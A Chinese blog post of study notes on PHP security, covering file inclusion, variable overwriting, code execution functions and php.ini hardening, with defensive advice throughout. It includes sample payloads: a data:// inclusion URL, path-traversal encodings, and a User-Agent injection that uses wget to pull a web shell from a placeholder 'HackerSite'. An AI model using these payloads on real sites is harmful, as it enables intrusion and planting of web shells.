zoukankan      html  css  js  c++  java
  • PHP 安全

    文件包含漏洞

    文件包含漏洞可能出现在 JSP、PHP、ASP 等语言中,常90见的导致文件包含的函数:

    PHP:include(),include_once(),require(),require_once(),fopen(),readfile(),...

    JSP/Servlet:ava.io.File(),java.io.FileReader()

    ASP:include file,include virtual,...

    PHP 中 include(),include_once(),require(),require_once() 函数包含的文件将作为 PHP 代码执行,PHP 内核不考虑该包含的文件是什么类型。

    利用文件包含漏洞的两个条件:① include()等函数通过动态变量的方式引入需要包含的文件;②用户能控制该动态变量。

    本地文件包含(LFI)

    能够打开并包含本地文件。两种截断文件名的方法:

    PHP 内核是由 C 语言实现的,因此使用了 C 语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串结束符。在注入文件名时可以使用 0字节达到截断的目的。

    利用操作系统对目录最大长度的限制(Windows 为 256个字节;Linux 为4096个字节),当传入的目录长度大于限制长度时超出部分将被丢弃。利用这个特性可以达到截断文件“尾巴”的目的。

    PHP 中 fopen() 和 fread() 等函数在操作文件的时候,如果目标文件的文件名可控则可能出现漏洞。

    目录遍历(Path Traversal)时使用的特殊字符编码:.→%2e 或 %252e,/→%2f 或 %252f,→%5c 或 %255c。【安全建议:配置 open_basedir 参数,限制 PHP 能打开的目录文件

    文件包含后能够执行 PHP 代码的条件:

    包含用户上传的文件

    包含 data:// 或 php://input 等伪协议(同时 allow_url_inlude 为 ON):http://www.example.com/index.php?file=data:text/plain,<?php phpinfo();?>%00

    包含 session 文件:需要攻击者能控制部分 Session 文件的内容

    包含日志文件,比如 Web Server 的 access log

    包含 /proc/self/environ 文件

    包含上传的临时文件

    包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等

    可以通过一些文件的默认存放位置和文件名构造路劲找到目标文件。如果 PHP 的错误回显没有关闭,则通过构造异常可能可以暴露 Web 目录所在位置。/proc/self/environ 文件包含 Web 进程运行时的环境变量,其中很多是用户可以控制的,比如可以在 User-Agent 中注入 PHP 代码:<?php system('wget http://HackerSite/shells/phpshell.txt -O shell.php'); ?>

    远程文件包含(RFI)

    如果参数 allow_url_include 为 ON 的话,则 include/require 函数可以加载远程文件。

    变量覆盖漏洞

    全局变量覆盖

    当 register_globals 参数配置为 ON 时,url 中传入的参数变量将被当做全局变量定义使用。

    通过 $GLOBALS 获得的变量也可能导致变量覆盖,比如 http://www.a.com/test1.php?GLOBALES[a]=1。

    销毁全局变量必须使用 $GLOBALS,有推荐的方法销毁变量。

    extract()变量覆盖

    int extract(array $var_array[, int $extract_type [, string $prefix]])

    第二个参数指定函数将变量导入符号表时的行为:EXTR_OVERWRITE 或 EXTR_SKIP(更安全),默认 EXTR_OVERWRITE。

    遍历初始化变量

    类似 “$$变量名” 的赋值方式可能覆盖已有的变量。

    import_request_variables 变量覆盖

    bool import_request_variables(string $types [, string $prefix]) 将 GET、POST、Cookie 中的变量导入到全局

    第二个参数是为导入的变量添加的前缀如果没有指定,则将覆盖全局变量。

    parse_str()变量覆盖

    void parse_str(string $str [, array &$arr]) 用于解析 URL 的 query string。应该养成指定第二个参数的好习惯。

    安全建议:

    ① 确保 register_globals=OFF,若不能自定义 php.ini,则应该在代码中控制。

    ② 熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源。

    ③ 养成初始化变量的好习惯。

    代码执行漏洞

    “危险函数”执行代码

    危险函数:popen()、system()、passthru()、exec()、eval()

    挖掘此类漏洞的过程,通常需要先找到危险函数,然后回溯函数的调用过程,最终确定在整个调用过程中用户是否有可能控制输入。

    文件写入执行代码

    在 PHP 中操作文件避免用户可以控制文件的内容,否则要做好充分的审查过滤。

    其他执行代码的方式

    直接执行代码的函数:eval()、assert()、system()、exec()、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec() 等。一般来说,最好在 PHP 中禁用这些函数,在审计代码时可以检查代码中是否存在这些函数,然后回溯危险函数的调用过程,看用户是否可以控制输入。

    文件包含:include()、include_once()、require()、require_once()。

    本地文件写入:file_put_contents()、fwrite()、fputs(),写入文件的功能可以和文件包含、危险函数执行等漏洞结合,最终使得原本用户无法控制的输入变成可控制。

    preg_replace():preg_replace() 的第一个参数如果存在 /e 模式修饰符,则允许代码执行。

    动态函数执行:

    $dyn_func = $_GET['dyn_func'];

    $argument = $_GET['argument'];

    $dyn_func($argument);

    Curly Syntax:${`cmd`} 将返回 cmd 执行的结果

    回调函数执行代码、unserialize()

    定制安全的 PHP 环境

     熟悉 PHP 的各种漏洞,合理配置 php.ini

    ① register_globals=OFF

    ② 指定 open_basedir 

    ③ allow_url_include=OFF

    ④ allow_url_fopen=OFF

    ⑤ display_errors=OFF

    ⑥ log_errors=ON

    ⑦ magic_quotes_gpc=OFF

    ⑧ cgi.fix_pathinfo = 0,避免出现文件解析问题

    ⑨ session.cookie_secure=1

    10. session.cookie_httponly=1

    11. safe_mode 建议开启,并且通过 disable_functions 控制运行环境安全。特别注意:如果开启了 safe_mode,则 exec()、system()、passthru()、popen()等函数并非被禁用,而是只能执行在 “safe_mode_exec_dir” 所指定目录下存在的可执行文件。如果要允许这些函数,则务必设置好 safe_mode_exec_dir 的值,并确保该目录不可写。

  • 相关阅读:
    【转】EDK简单使用流程(3)
    【转】应用 printf 语句格式化输出字符
    【转】[FPGA博客大赛](updated)在xilinx的FPGA系统中scanf函数的使用
    BZOJ 1083 [SCOI2005]繁忙的都市
    BZOJ 2821 分块统计
    BZOJ 1034 [ZJOI2008]泡泡堂BNB
    BZOJ 1029 [JSOI2007]建筑抢修
    BZOJ 1096 [ZJOI2007]仓库建设
    BZOJ 1070 [SCOI2007]修车
    BZOJ 1040 [ZJOI2008]骑士
  • 原文地址:https://www.cnblogs.com/shilxfly/p/6874831.html
Copyright © 2011-2022 走看看